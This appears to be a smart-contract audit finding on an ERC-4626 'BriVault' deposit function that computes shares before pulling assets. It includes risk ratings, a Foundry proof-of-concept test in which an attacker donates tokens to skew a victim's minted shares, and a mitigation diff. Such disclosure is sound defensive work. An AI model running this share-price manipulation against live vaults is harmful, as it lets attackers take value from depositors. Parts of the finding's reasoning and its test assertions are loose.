Description
-
In an ERC‑4626 vault, the number of shares to mint for a deposit should be determined against a canonical, manipulation‑resistant asset accounting and in a way that is consistent with the actual assets the vault will hold after the deposit. Implementations typically pull assets first (or compute using the intended post‑deposit state) and then mint shares, ensuring accurate pricing and minimizing MEV/front‑running surface.
-
In deposit(), the contract computes participantShares before transferring the depositor’s stakeAsset into the vault. _convertToShares() uses the current vault balance as denominator. Because the transfer to the vault happens after this calculation, the share price is derived from a pre‑deposit balance, not reflecting the actual state after the deposit. This enables front‑running (an attacker adjusts the vault balance between blocks/tx ordering to skew your mint price) and yields inaccurate share accounting that diverges from ERC‑4626 expectations.
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
Risk
Likelihood: Medium
-
During busy blocks, it is common for other transfers to the vault (donations, refunds, unrelated movements) to land between the time a user signs a deposit and its inclusion, resulting in price drift since shares are computed off a balance that can change right before settlement.
-
MEV searchers can front‑run deposits by sending tiny transfers to inflate/deflate the vault balance used in _convertToShares right before the victim’s deposit() executes, skewing minted shares.
Impact: Medium
-
Depositors receive too many or too few shares compared to what the vault actually holds after the transfer, leading to unfair dilution or under‑allocation.
-
Attackers can profit by nudging the vault balance immediately before victim deposits, extracting value via share price manipulation.
Proof of Concept
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract SharesBeforeTransferTest is Test {
BriVault vault;
MockERC20 token;
address owner = makeAddr("owner");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
address feeTo = makeAddr("fee");
uint256 start; uint256 end;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
token = new MockERC20("Mock", "M");
token.mint(victim, 100 ether);
token.mint(attacker, 100 ether);
vm.startPrank(owner);
vault = new BriVault(IERC20(address(token)), 0, start, feeTo, 0.001 ether, end);
vm.stopPrank();
vm.prank(victim);
token.approve(address(vault), type(uint256).max);
vm.prank(attacker);
token.approve(address(vault), type(uint256).max);
}
function test_ShareCalc_UsesPreDepositBalance_CanBeManipulated() public {
vm.prank(attacker);
token.transfer(address(vault), 10 ether);
uint256 previewBefore = vault.convertToShares(10 ether);
vm.prank(attacker);
token.transfer(address(vault), 90 ether);
vm.prank(victim);
uint256 minted = vault.deposit(10 ether, victim);
uint256 previewAfterManipulation = vault.convertToShares(10 ether);
assertTrue(minted != previewAfterManipulation, "minted shares differ from fair price after manipulation");
assertTrue(minted != previewBefore, "minted shares differ from original preview due to pre-transfer calc");
}
}
Recommended Mitigation
function deposit(uint256 assets, address receiver) public override returns (uint256) {
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
- uint256 stakeAsset = assets - fee;
- uint256 participantShares = _convertToShares(stakeAsset); // computed before transfer
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
- IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ uint256 stakeAsset = assets - fee;
+ IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
+
+ // pull assets first and measure actual received (covers fee-on-transfer)
+ uint256 balBefore = IERC20(asset()).balanceOf(address(this));
+ IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
+ uint256 received = IERC20(asset()).balanceOf(address(this)) - balBefore;
+ require(received > 0, "zero received");
+
+ // now compute shares using the up-to-date state / internal accounting
+ uint256 participantShares = _convertToShares(received);
+ _mint(receiver, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
